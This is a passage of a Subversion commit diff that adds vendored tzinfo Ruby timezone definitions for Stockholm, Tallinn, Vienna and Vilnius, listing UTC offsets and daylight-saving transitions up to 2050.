--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Stockholm.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Stockholm.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,165 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Europe
+      module Stockholm
+        include TimezoneDefinition
+        
+        timezone 'Europe/Stockholm' do |tz|
+          tz.offset :o0, 4332, 0, :LMT
+          tz.offset :o1, 3614, 0, :SET
+          tz.offset :o2, 3600, 0, :CET
+          tz.offset :o3, 3600, 3600, :CEST
+          
+          tz.transition 1878, 12, :o1, 17332923239, 7200
+          tz.transition 1899, 12, :o2, 104328883793, 43200
+          tz.transition 1916, 5, :o3, 29051981, 12
+          tz.transition 1916, 9, :o2, 58107299, 24
+          tz.transition 1980, 4, :o3, 323830800
+          tz.transition 1980, 9, :o2, 338950800
+          tz.transition 1981, 3, :o3, 354675600
+          tz.transition 1981, 9, :o2, 370400400
+          tz.transition 1982, 3, :o3, 386125200
+          tz.transition 1982, 9, :o2, 401850000
+          tz.transition 1983, 3, :o3, 417574800
+          tz.transition 1983, 9, :o2, 433299600
+          tz.transition 1984, 3, :o3, 449024400
+          tz.transition 1984, 9, :o2, 465354000
+          tz.transition 1985, 3, :o3, 481078800
+          tz.transition 1985, 9, :o2, 496803600
+          tz.transition 1986, 3, :o3, 512528400
+          tz.transition 1986, 9, :o2, 528253200
+          tz.transition 1987, 3, :o3, 543978000
+          tz.transition 1987, 9, :o2, 559702800
+          tz.transition 1988, 3, :o3, 575427600
+          tz.transition 1988, 9, :o2, 591152400
+          tz.transition 1989, 3, :o3, 606877200
+          tz.transition 1989, 9, :o2, 622602000
+          tz.transition 1990, 3, :o3, 638326800
+          tz.transition 1990, 9, :o2, 654656400
+          tz.transition 1991, 3, :o3, 670381200
+          tz.transition 1991, 9, :o2, 686106000
+          tz.transition 1992, 3, :o3, 701830800
+          tz.transition 1992, 9, :o2, 717555600
+          tz.transition 1993, 3, :o3, 733280400
+          tz.transition 1993, 9, :o2, 749005200
+          tz.transition 1994, 3, :o3, 764730000
+          tz.transition 1994, 9, :o2, 780454800
+          tz.transition 1995, 3, :o3, 796179600
+          tz.transition 1995, 9, :o2, 811904400
+          tz.transition 1996, 3, :o3, 828234000
+          tz.transition 1996, 10, :o2, 846378000
+          tz.transition 1997, 3, :o3, 859683600
+          tz.transition 1997, 10, :o2, 877827600
+          tz.transition 1998, 3, :o3, 891133200
+          tz.transition 1998, 10, :o2, 909277200
+          tz.transition 1999, 3, :o3, 922582800
+          tz.transition 1999, 10, :o2, 941331600
+          tz.transition 2000, 3, :o3, 954032400
+          tz.transition 2000, 10, :o2, 972781200
+          tz.transition 2001, 3, :o3, 985482000
+          tz.transition 2001, 10, :o2, 1004230800
+          tz.transition 2002, 3, :o3, 1017536400
+          tz.transition 2002, 10, :o2, 1035680400
+          tz.transition 2003, 3, :o3, 1048986000
+          tz.transition 2003, 10, :o2, 1067130000
+          tz.transition 2004, 3, :o3, 1080435600
+          tz.transition 2004, 10, :o2, 1099184400
+          tz.transition 2005, 3, :o3, 1111885200
+          tz.transition 2005, 10, :o2, 1130634000
+          tz.transition 2006, 3, :o3, 1143334800
+          tz.transition 2006, 10, :o2, 1162083600
+          tz.transition 2007, 3, :o3, 1174784400
+          tz.transition 2007, 10, :o2, 1193533200
+          tz.transition 2008, 3, :o3, 1206838800
+          tz.transition 2008, 10, :o2, 1224982800
+          tz.transition 2009, 3, :o3, 1238288400
+          tz.transition 2009, 10, :o2, 1256432400
+          tz.transition 2010, 3, :o3, 1269738000
+          tz.transition 2010, 10, :o2, 1288486800
+          tz.transition 2011, 3, :o3, 1301187600
+          tz.transition 2011, 10, :o2, 1319936400
+          tz.transition 2012, 3, :o3, 1332637200
+          tz.transition 2012, 10, :o2, 1351386000
+          tz.transition 2013, 3, :o3, 1364691600
+          tz.transition 2013, 10, :o2, 1382835600
+          tz.transition 2014, 3, :o3, 1396141200
+          tz.transition 2014, 10, :o2, 1414285200
+          tz.transition 2015, 3, :o3, 1427590800
+          tz.transition 2015, 10, :o2, 1445734800
+          tz.transition 2016, 3, :o3, 1459040400
+          tz.transition 2016, 10, :o2, 1477789200
+          tz.transition 2017, 3, :o3, 1490490000
+          tz.transition 2017, 10, :o2, 1509238800
+          tz.transition 2018, 3, :o3, 1521939600
+          tz.transition 2018, 10, :o2, 1540688400
+          tz.transition 2019, 3, :o3, 1553994000
+          tz.transition 2019, 10, :o2, 1572138000
+          tz.transition 2020, 3, :o3, 1585443600
+          tz.transition 2020, 10, :o2, 1603587600
+          tz.transition 2021, 3, :o3, 1616893200
+          tz.transition 2021, 10, :o2, 1635642000
+          tz.transition 2022, 3, :o3, 1648342800
+          tz.transition 2022, 10, :o2, 1667091600
+          tz.transition 2023, 3, :o3, 1679792400
+          tz.transition 2023, 10, :o2, 1698541200
+          tz.transition 2024, 3, :o3, 1711846800
+          tz.transition 2024, 10, :o2, 1729990800
+          tz.transition 2025, 3, :o3, 1743296400
+          tz.transition 2025, 10, :o2, 1761440400
+          tz.transition 2026, 3, :o3, 1774746000
+          tz.transition 2026, 10, :o2, 1792890000
+          tz.transition 2027, 3, :o3, 1806195600
+          tz.transition 2027, 10, :o2, 1824944400
+          tz.transition 2028, 3, :o3, 1837645200
+          tz.transition 2028, 10, :o2, 1856394000
+          tz.transition 2029, 3, :o3, 1869094800
+          tz.transition 2029, 10, :o2, 1887843600
+          tz.transition 2030, 3, :o3, 1901149200
+          tz.transition 2030, 10, :o2, 1919293200
+          tz.transition 2031, 3, :o3, 1932598800
+          tz.transition 2031, 10, :o2, 1950742800
+          tz.transition 2032, 3, :o3, 1964048400
+          tz.transition 2032, 10, :o2, 1982797200
+          tz.transition 2033, 3, :o3, 1995498000
+          tz.transition 2033, 10, :o2, 2014246800
+          tz.transition 2034, 3, :o3, 2026947600
+          tz.transition 2034, 10, :o2, 2045696400
+          tz.transition 2035, 3, :o3, 2058397200
+          tz.transition 2035, 10, :o2, 2077146000
+          tz.transition 2036, 3, :o3, 2090451600
+          tz.transition 2036, 10, :o2, 2108595600
+          tz.transition 2037, 3, :o3, 2121901200
+          tz.transition 2037, 10, :o2, 2140045200
+          tz.transition 2038, 3, :o3, 59172253, 24
+          tz.transition 2038, 10, :o2, 59177461, 24
+          tz.transition 2039, 3, :o3, 59180989, 24
+          tz.transition 2039, 10, :o2, 59186197, 24
+          tz.transition 2040, 3, :o3, 59189725, 24
+          tz.transition 2040, 10, :o2, 59194933, 24
+          tz.transition 2041, 3, :o3, 59198629, 24
+          tz.transition 2041, 10, :o2, 59203669, 24
+          tz.transition 2042, 3, :o3, 59207365, 24
+          tz.transition 2042, 10, :o2, 59212405, 24
+          tz.transition 2043, 3, :o3, 59216101, 24
+          tz.transition 2043, 10, :o2, 59221141, 24
+          tz.transition 2044, 3, :o3, 59224837, 24
+          tz.transition 2044, 10, :o2, 59230045, 24
+          tz.transition 2045, 3, :o3, 59233573, 24
+          tz.transition 2045, 10, :o2, 59238781, 24
+          tz.transition 2046, 3, :o3, 59242309, 24
+          tz.transition 2046, 10, :o2, 59247517, 24
+          tz.transition 2047, 3, :o3, 59251213, 24
+          tz.transition 2047, 10, :o2, 59256253, 24
+          tz.transition 2048, 3, :o3, 59259949, 24
+          tz.transition 2048, 10, :o2, 59264989, 24
+          tz.transition 2049, 3, :o3, 59268685, 24
+          tz.transition 2049, 10, :o2, 59273893, 24
+          tz.transition 2050, 3, :o3, 59277421, 24
+          tz.transition 2050, 10, :o2, 59282629, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Tallinn.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Tallinn.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Tallinn.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,172 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Europe
+      module Tallinn
+        include TimezoneDefinition
+        
+        timezone 'Europe/Tallinn' do |tz|
+          tz.offset :o0, 5940, 0, :LMT
+          tz.offset :o1, 5940, 0, :TMT
+          tz.offset :o2, 3600, 0, :CET
+          tz.offset :o3, 3600, 3600, :CEST
+          tz.offset :o4, 7200, 0, :EET
+          tz.offset :o5, 10800, 0, :MSK
+          tz.offset :o6, 10800, 3600, :MSD
+          tz.offset :o7, 7200, 3600, :EEST
+          
+          tz.transition 1879, 12, :o1, 385234469, 160
+          tz.transition 1918, 1, :o2, 387460069, 160
+          tz.transition 1918, 4, :o3, 58120765, 24
+          tz.transition 1918, 9, :o2, 58124461, 24
+          tz.transition 1919, 6, :o1, 58131371, 24
+          tz.transition 1921, 4, :o4, 387649669, 160
+          tz.transition 1940, 8, :o5, 29158169, 12
+          tz.transition 1941, 9, :o3, 19442019, 8
+          tz.transition 1942, 11, :o2, 58335973, 24
+          tz.transition 1943, 3, :o3, 58339501, 24
+          tz.transition 1943, 10, :o2, 58344037, 24
+          tz.transition 1944, 4, :o3, 58348405, 24
+          tz.transition 1944, 9, :o5, 29176265, 12
+          tz.transition 1981, 3, :o6, 354920400
+          tz.transition 1981, 9, :o5, 370728000
+          tz.transition 1982, 3, :o6, 386456400
+          tz.transition 1982, 9, :o5, 402264000
+          tz.transition 1983, 3, :o6, 417992400
+          tz.transition 1983, 9, :o5, 433800000
+          tz.transition 1984, 3, :o6, 449614800
+          tz.transition 1984, 9, :o5, 465346800
+          tz.transition 1985, 3, :o6, 481071600
+          tz.transition 1985, 9, :o5, 496796400
+          tz.transition 1986, 3, :o6, 512521200
+          tz.transition 1986, 9, :o5, 528246000
+          tz.transition 1987, 3, :o6, 543970800
+          tz.transition 1987, 9, :o5, 559695600
+          tz.transition 1988, 3, :o6, 575420400
+          tz.transition 1988, 9, :o5, 591145200
+          tz.transition 1989, 3, :o7, 606870000
+          tz.transition 1989, 9, :o4, 622598400
+          tz.transition 1990, 3, :o7, 638323200
+          tz.transition 1990, 9, :o4, 654652800
+          tz.transition 1991, 3, :o7, 670377600
+          tz.transition 1991, 9, :o4, 686102400
+          tz.transition 1992, 3, :o7, 701827200
+          tz.transition 1992, 9, :o4, 717552000
+          tz.transition 1993, 3, :o7, 733276800
+          tz.transition 1993, 9, :o4, 749001600
+          tz.transition 1994, 3, :o7, 764726400
+          tz.transition 1994, 9, :o4, 780451200
+          tz.transition 1995, 3, :o7, 796176000
+          tz.transition 1995, 9, :o4, 811900800
+          tz.transition 1996, 3, :o7, 828230400
+          tz.transition 1996, 10, :o4, 846374400
+          tz.transition 1997, 3, :o7, 859680000
+          tz.transition 1997, 10, :o4, 877824000
+          tz.transition 1998, 3, :o7, 891129600
+          tz.transition 1998, 10, :o4, 909277200
+          tz.transition 1999, 3, :o7, 922582800
+          tz.transition 1999, 10, :o4, 941331600
+          tz.transition 2002, 3, :o7, 1017536400
+          tz.transition 2002, 10, :o4, 1035680400
+          tz.transition 2003, 3, :o7, 1048986000
+          tz.transition 2003, 10, :o4, 1067130000
+          tz.transition 2004, 3, :o7, 1080435600
+          tz.transition 2004, 10, :o4, 1099184400
+          tz.transition 2005, 3, :o7, 1111885200
+          tz.transition 2005, 10, :o4, 1130634000
+          tz.transition 2006, 3, :o7, 1143334800
+          tz.transition 2006, 10, :o4, 1162083600
+          tz.transition 2007, 3, :o7, 1174784400
+          tz.transition 2007, 10, :o4, 1193533200
+          tz.transition 2008, 3, :o7, 1206838800
+          tz.transition 2008, 10, :o4, 1224982800
+          tz.transition 2009, 3, :o7, 1238288400
+          tz.transition 2009, 10, :o4, 1256432400
+          tz.transition 2010, 3, :o7, 1269738000
+          tz.transition 2010, 10, :o4, 1288486800
+          tz.transition 2011, 3, :o7, 1301187600
+          tz.transition 2011, 10, :o4, 1319936400
+          tz.transition 2012, 3, :o7, 1332637200
+          tz.transition 2012, 10, :o4, 1351386000
+          tz.transition 2013, 3, :o7, 1364691600
+          tz.transition 2013, 10, :o4, 1382835600
+          tz.transition 2014, 3, :o7, 1396141200
+          tz.transition 2014, 10, :o4, 1414285200
+          tz.transition 2015, 3, :o7, 1427590800
+          tz.transition 2015, 10, :o4, 1445734800
+          tz.transition 2016, 3, :o7, 1459040400
+          tz.transition 2016, 10, :o4, 1477789200
+          tz.transition 2017, 3, :o7, 1490490000
+          tz.transition 2017, 10, :o4, 1509238800
+          tz.transition 2018, 3, :o7, 1521939600
+          tz.transition 2018, 10, :o4, 1540688400
+          tz.transition 2019, 3, :o7, 1553994000
+          tz.transition 2019, 10, :o4, 1572138000
+          tz.transition 2020, 3, :o7, 1585443600
+          tz.transition 2020, 10, :o4, 1603587600
+          tz.transition 2021, 3, :o7, 1616893200
+          tz.transition 2021, 10, :o4, 1635642000
+          tz.transition 2022, 3, :o7, 1648342800
+          tz.transition 2022, 10, :o4, 1667091600
+          tz.transition 2023, 3, :o7, 1679792400
+          tz.transition 2023, 10, :o4, 1698541200
+          tz.transition 2024, 3, :o7, 1711846800
+          tz.transition 2024, 10, :o4, 1729990800
+          tz.transition 2025, 3, :o7, 1743296400
+          tz.transition 2025, 10, :o4, 1761440400
+          tz.transition 2026, 3, :o7, 1774746000
+          tz.transition 2026, 10, :o4, 1792890000
+          tz.transition 2027, 3, :o7, 1806195600
+          tz.transition 2027, 10, :o4, 1824944400
+          tz.transition 2028, 3, :o7, 1837645200
+          tz.transition 2028, 10, :o4, 1856394000
+          tz.transition 2029, 3, :o7, 1869094800
+          tz.transition 2029, 10, :o4, 1887843600
+          tz.transition 2030, 3, :o7, 1901149200
+          tz.transition 2030, 10, :o4, 1919293200
+          tz.transition 2031, 3, :o7, 1932598800
+          tz.transition 2031, 10, :o4, 1950742800
+          tz.transition 2032, 3, :o7, 1964048400
+          tz.transition 2032, 10, :o4, 1982797200
+          tz.transition 2033, 3, :o7, 1995498000
+          tz.transition 2033, 10, :o4, 2014246800
+          tz.transition 2034, 3, :o7, 2026947600
+          tz.transition 2034, 10, :o4, 2045696400
+          tz.transition 2035, 3, :o7, 2058397200
+          tz.transition 2035, 10, :o4, 2077146000
+          tz.transition 2036, 3, :o7, 2090451600
+          tz.transition 2036, 10, :o4, 2108595600
+          tz.transition 2037, 3, :o7, 2121901200
+          tz.transition 2037, 10, :o4, 2140045200
+          tz.transition 2038, 3, :o7, 59172253, 24
+          tz.transition 2038, 10, :o4, 59177461, 24
+          tz.transition 2039, 3, :o7, 59180989, 24
+          tz.transition 2039, 10, :o4, 59186197, 24
+          tz.transition 2040, 3, :o7, 59189725, 24
+          tz.transition 2040, 10, :o4, 59194933, 24
+          tz.transition 2041, 3, :o7, 59198629, 24
+          tz.transition 2041, 10, :o4, 59203669, 24
+          tz.transition 2042, 3, :o7, 59207365, 24
+          tz.transition 2042, 10, :o4, 59212405, 24
+          tz.transition 2043, 3, :o7, 59216101, 24
+          tz.transition 2043, 10, :o4, 59221141, 24
+          tz.transition 2044, 3, :o7, 59224837, 24
+          tz.transition 2044, 10, :o4, 59230045, 24
+          tz.transition 2045, 3, :o7, 59233573, 24
+          tz.transition 2045, 10, :o4, 59238781, 24
+          tz.transition 2046, 3, :o7, 59242309, 24
+          tz.transition 2046, 10, :o4, 59247517, 24
+          tz.transition 2047, 3, :o7, 59251213, 24
+          tz.transition 2047, 10, :o4, 59256253, 24
+          tz.transition 2048, 3, :o7, 59259949, 24
+          tz.transition 2048, 10, :o4, 59264989, 24
+          tz.transition 2049, 3, :o7, 59268685, 24
+          tz.transition 2049, 10, :o4, 59273893, 24
+          tz.transition 2050, 3, :o7, 59277421, 24
+          tz.transition 2050, 10, :o4, 59282629, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Vienna.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Vienna.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Vienna.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,183 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Europe
+      module Vienna
+        include TimezoneDefinition
+        
+        timezone 'Europe/Vienna' do |tz|
+          tz.offset :o0, 3920, 0, :LMT
+          tz.offset :o1, 3600, 0, :CET
+          tz.offset :o2, 3600, 3600, :CEST
+          
+          tz.transition 1893, 3, :o1, 2605558811, 1080
+          tz.transition 1916, 4, :o2, 29051813, 12
+          tz.transition 1916, 9, :o1, 58107299, 24
+          tz.transition 1917, 4, :o2, 58112029, 24
+          tz.transition 1917, 9, :o1, 58115725, 24
+          tz.transition 1918, 4, :o2, 58120765, 24
+          tz.transition 1918, 9, :o1, 58124461, 24
+          tz.transition 1920, 4, :o2, 58138069, 24
+          tz.transition 1920, 9, :o1, 58141933, 24
+          tz.transition 1940, 4, :o2, 58313293, 24
+          tz.transition 1942, 11, :o1, 58335973, 24
+          tz.transition 1943, 3, :o2, 58339501, 24
+          tz.transition 1943, 10, :o1, 58344037, 24
+          tz.transition 1944, 4, :o2, 58348405, 24
+          tz.transition 1944, 10, :o1, 58352773, 24
+          tz.transition 1945, 4, :o2, 58357141, 24
+          tz.transition 1945, 4, :o1, 58357381, 24
+          tz.transition 1946, 4, :o2, 58366189, 24
+          tz.transition 1946, 10, :o1, 58370389, 24
+          tz.transition 1947, 4, :o2, 58374757, 24
+          tz.transition 1947, 10, :o1, 58379125, 24
+          tz.transition 1948, 4, :o2, 58383829, 24
+          tz.transition 1948, 10, :o1, 58387861, 24
+          tz.transition 1980, 4, :o2, 323823600
+          tz.transition 1980, 9, :o1, 338940000
+          tz.transition 1981, 3, :o2, 354675600
+          tz.transition 1981, 9, :o1, 370400400
+          tz.transition 1982, 3, :o2, 386125200
+          tz.transition 1982, 9, :o1, 401850000
+          tz.transition 1983, 3, :o2, 417574800
+          tz.transition 1983, 9, :o1, 433299600
+          tz.transition 1984, 3, :o2, 449024400
+          tz.transition 1984, 9, :o1, 465354000
+          tz.transition 1985, 3, :o2, 481078800
+          tz.transition 1985, 9, :o1, 496803600
+          tz.transition 1986, 3, :o2, 512528400
+          tz.transition 1986, 9, :o1, 528253200
+          tz.transition 1987, 3, :o2, 543978000
+          tz.transition 1987, 9, :o1, 559702800
+          tz.transition 1988, 3, :o2, 575427600
+          tz.transition 1988, 9, :o1, 591152400
+          tz.transition 1989, 3, :o2, 606877200
+          tz.transition 1989, 9, :o1, 622602000
+          tz.transition 1990, 3, :o2, 638326800
+          tz.transition 1990, 9, :o1, 654656400
+          tz.transition 1991, 3, :o2, 670381200
+          tz.transition 1991, 9, :o1, 686106000
+          tz.transition 1992, 3, :o2, 701830800
+          tz.transition 1992, 9, :o1, 717555600
+          tz.transition 1993, 3, :o2, 733280400
+          tz.transition 1993, 9, :o1, 749005200
+          tz.transition 1994, 3, :o2, 764730000
+          tz.transition 1994, 9, :o1, 780454800
+          tz.transition 1995, 3, :o2, 796179600
+          tz.transition 1995, 9, :o1, 811904400
+          tz.transition 1996, 3, :o2, 828234000
+          tz.transition 1996, 10, :o1, 846378000
+          tz.transition 1997, 3, :o2, 859683600
+          tz.transition 1997, 10, :o1, 877827600
+          tz.transition 1998, 3, :o2, 891133200
+          tz.transition 1998, 10, :o1, 909277200
+          tz.transition 1999, 3, :o2, 922582800
+          tz.transition 1999, 10, :o1, 941331600
+          tz.transition 2000, 3, :o2, 954032400
+          tz.transition 2000, 10, :o1, 972781200
+          tz.transition 2001, 3, :o2, 985482000
+          tz.transition 2001, 10, :o1, 1004230800
+          tz.transition 2002, 3, :o2, 1017536400
+          tz.transition 2002, 10, :o1, 1035680400
+          tz.transition 2003, 3, :o2, 1048986000
+          tz.transition 2003, 10, :o1, 1067130000
+          tz.transition 2004, 3, :o2, 1080435600
+          tz.transition 2004, 10, :o1, 1099184400
+          tz.transition 2005, 3, :o2, 1111885200
+          tz.transition 2005, 10, :o1, 1130634000
+          tz.transition 2006, 3, :o2, 1143334800
+          tz.transition 2006, 10, :o1, 1162083600
+          tz.transition 2007, 3, :o2, 1174784400
+          tz.transition 2007, 10, :o1, 1193533200
+          tz.transition 2008, 3, :o2, 1206838800
+          tz.transition 2008, 10, :o1, 1224982800
+          tz.transition 2009, 3, :o2, 1238288400
+          tz.transition 2009, 10, :o1, 1256432400
+          tz.transition 2010, 3, :o2, 1269738000
+          tz.transition 2010, 10, :o1, 1288486800
+          tz.transition 2011, 3, :o2, 1301187600
+          tz.transition 2011, 10, :o1, 1319936400
+          tz.transition 2012, 3, :o2, 1332637200
+          tz.transition 2012, 10, :o1, 1351386000
+          tz.transition 2013, 3, :o2, 1364691600
+          tz.transition 2013, 10, :o1, 1382835600
+          tz.transition 2014, 3, :o2, 1396141200
+          tz.transition 2014, 10, :o1, 1414285200
+          tz.transition 2015, 3, :o2, 1427590800
+          tz.transition 2015, 10, :o1, 1445734800
+          tz.transition 2016, 3, :o2, 1459040400
+          tz.transition 2016, 10, :o1, 1477789200
+          tz.transition 2017, 3, :o2, 1490490000
+          tz.transition 2017, 10, :o1, 1509238800
+          tz.transition 2018, 3, :o2, 1521939600
+          tz.transition 2018, 10, :o1, 1540688400
+          tz.transition 2019, 3, :o2, 1553994000
+          tz.transition 2019, 10, :o1, 1572138000
+          tz.transition 2020, 3, :o2, 1585443600
+          tz.transition 2020, 10, :o1, 1603587600
+          tz.transition 2021, 3, :o2, 1616893200
+          tz.transition 2021, 10, :o1, 1635642000
+          tz.transition 2022, 3, :o2, 1648342800
+          tz.transition 2022, 10, :o1, 1667091600
+          tz.transition 2023, 3, :o2, 1679792400
+          tz.transition 2023, 10, :o1, 1698541200
+          tz.transition 2024, 3, :o2, 1711846800
+          tz.transition 2024, 10, :o1, 1729990800
+          tz.transition 2025, 3, :o2, 1743296400
+          tz.transition 2025, 10, :o1, 1761440400
+          tz.transition 2026, 3, :o2, 1774746000
+          tz.transition 2026, 10, :o1, 1792890000
+          tz.transition 2027, 3, :o2, 1806195600
+          tz.transition 2027, 10, :o1, 1824944400
+          tz.transition 2028, 3, :o2, 1837645200
+          tz.transition 2028, 10, :o1, 1856394000
+          tz.transition 2029, 3, :o2, 1869094800
+          tz.transition 2029, 10, :o1, 1887843600
+          tz.transition 2030, 3, :o2, 1901149200
+          tz.transition 2030, 10, :o1, 1919293200
+          tz.transition 2031, 3, :o2, 1932598800
+          tz.transition 2031, 10, :o1, 1950742800
+          tz.transition 2032, 3, :o2, 1964048400
+          tz.transition 2032, 10, :o1, 1982797200
+          tz.transition 2033, 3, :o2, 1995498000
+          tz.transition 2033, 10, :o1, 2014246800
+          tz.transition 2034, 3, :o2, 2026947600
+          tz.transition 2034, 10, :o1, 2045696400
+          tz.transition 2035, 3, :o2, 2058397200
+          tz.transition 2035, 10, :o1, 2077146000
+          tz.transition 2036, 3, :o2, 2090451600
+          tz.transition 2036, 10, :o1, 2108595600
+          tz.transition 2037, 3, :o2, 2121901200
+          tz.transition 2037, 10, :o1, 2140045200
+          tz.transition 2038, 3, :o2, 59172253, 24
+          tz.transition 2038, 10, :o1, 59177461, 24
+          tz.transition 2039, 3, :o2, 59180989, 24
+          tz.transition 2039, 10, :o1, 59186197, 24
+          tz.transition 2040, 3, :o2, 59189725, 24
+          tz.transition 2040, 10, :o1, 59194933, 24
+          tz.transition 2041, 3, :o2, 59198629, 24
+          tz.transition 2041, 10, :o1, 59203669, 24
+          tz.transition 2042, 3, :o2, 59207365, 24
+          tz.transition 2042, 10, :o1, 59212405, 24
+          tz.transition 2043, 3, :o2, 59216101, 24
+          tz.transition 2043, 10, :o1, 59221141, 24
+          tz.transition 2044, 3, :o2, 59224837, 24
+          tz.transition 2044, 10, :o1, 59230045, 24
+          tz.transition 2045, 3, :o2, 59233573, 24
+          tz.transition 2045, 10, :o1, 59238781, 24
+          tz.transition 2046, 3, :o2, 59242309, 24
+          tz.transition 2046, 10, :o1, 59247517, 24
+          tz.transition 2047, 3, :o2, 59251213, 24
+          tz.transition 2047, 10, :o1, 59256253, 24
+          tz.transition 2048, 3, :o2, 59259949, 24
+          tz.transition 2048, 10, :o1, 59264989, 24
+          tz.transition 2049, 3, :o2, 59268685, 24
+          tz.transition 2049, 10, :o1, 59273893, 24
+          tz.transition 2050, 3, :o2, 59277421, 24
+          tz.transition 2050, 10, :o1, 59282629, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Vilnius.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Vilnius.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Vilnius.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,170 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Europe
+      module Vilnius
+        include TimezoneDefinition
+        
+        timezone 'Europe/Vilnius' do |tz|
+          tz.offset :o0, 6076, 0, :LMT
+          tz.offset :o1, 5040, 0, :WMT
+          tz.offset :o2, 5736, 0, :KMT
+          tz.offset :o3, 3600, 0, :CET
+          tz.offset :o4, 7200, 0, :EET
+          tz.offset :o5, 10800, 0, :MSK
+          tz.offset :o6, 3600, 3600, :CEST
+          tz.offset :o7, 10800, 3600, :MSD
+          tz.offset :o8, 7200, 3600, :EEST
+          
+          tz.transition 1879, 12, :o1, 52006653281, 21600
+          tz.transition 1916, 12, :o2, 290547533, 120
+          tz.transition 1919, 10, :o3, 8720069161, 3600
+          tz.transition 1920, 7, :o4, 58140419, 24
+          tz.transition 1920, 10, :o3, 29071277, 12
+          tz.transition 1940, 8, :o5, 58316267, 24
+          tz.transition 1941, 6, :o6, 19441355, 8
+          tz.transition 1942, 11, :o3, 58335973, 24
+          tz.transition 1943, 3, :o6, 58339501, 24
+          tz.transition 1943, 10, :o3, 58344037, 24
+          tz.transition 1944, 4, :o6, 58348405, 24
+          tz.transition 1944, 7, :o5, 29175641, 12
+          tz.transition 1981, 3, :o7, 354920400
+          tz.transition 1981, 9, :o5, 370728000
+          tz.transition 1982, 3, :o7, 386456400
+          tz.transition 1982, 9, :o5, 402264000
+          tz.transition 1983, 3, :o7, 417992400
+          tz.transition 1983, 9, :o5, 433800000
+          tz.transition 1984, 3, :o7, 449614800
+          tz.transition 1984, 9, :o5, 465346800
+          tz.transition 1985, 3, :o7, 481071600
+          tz.transition 1985, 9, :o5, 496796400
+          tz.transition 1986, 3, :o7, 512521200
+          tz.transition 1986, 9, :o5, 528246000
+          tz.transition 1987, 3, :o7, 543970800
+          tz.transition 1987, 9, :o5, 559695600
+          tz.transition 1988, 3, :o7, 575420400
+          tz.transition 1988, 9, :o5, 591145200
+          tz.transition 1989, 3, :o7, 606870000
+          tz.transition 1989, 9, :o5, 622594800
+          tz.transition 1990, 3, :o7, 638319600
+          tz.transition 1990, 9, :o5, 654649200
+          tz.transition 1991, 3, :o8, 670374000
+          tz.transition 1991, 9, :o4, 686102400
+          tz.transition 1992, 3, :o8, 701827200
+          tz.transition 1992, 9, :o4, 717552000
+          tz.transition 1993, 3, :o8, 733276800
+          tz.transition 1993, 9, :o4, 749001600
+          tz.transition 1994, 3, :o8, 764726400
+          tz.transition 1994, 9, :o4, 780451200
+          tz.transition 1995, 3, :o8, 796176000
+          tz.transition 1995, 9, :o4, 811900800
+          tz.transition 1996, 3, :o8, 828230400
+          tz.transition 1996, 10, :o4, 846374400
+          tz.transition 1997, 3, :o8, 859680000
+          tz.transition 1997, 10, :o4, 877824000
+          tz.transition 1998, 3, :o6, 891133200
+          tz.transition 1998, 10, :o3, 909277200
+          tz.transition 1999, 3, :o6, 922582800
+          tz.transition 1999, 10, :o4, 941331600
+          tz.transition 2003, 3, :o8, 1048986000
+          tz.transition 2003, 10, :o4, 1067130000
+          tz.transition 2004, 3, :o8, 1080435600
+          tz.transition 2004, 10, :o4, 1099184400
+          tz.transition 2005, 3, :o8, 1111885200
+          tz.transition 2005, 10, :o4, 1130634000
+          tz.transition 2006, 3, :o8, 1143334800
+          tz.transition 2006, 10, :o4, 1162083600
+          tz.transition 2007, 3, :o8, 1174784400
+          tz.transition 2007, 10, :o4, 1193533200
+          tz.transition 2008, 3, :o8, 1206838800
+          tz.transition 2008, 10, :o4, 1224982800
+          tz.transition 2009, 3, :o8, 1238288400
+          tz.transition 2009, 10, :o4, 1256432400
+          tz.transition 2010, 3, :o8, 1269738000
+          tz.transition 2010, 10, :o4, 1288486800
+          tz.transition 2011, 3, :o8, 1301187600
+          tz.transition 2011, 10, :o4, 1319936400
+          tz.transition 2012, 3, :o8, 1332637200
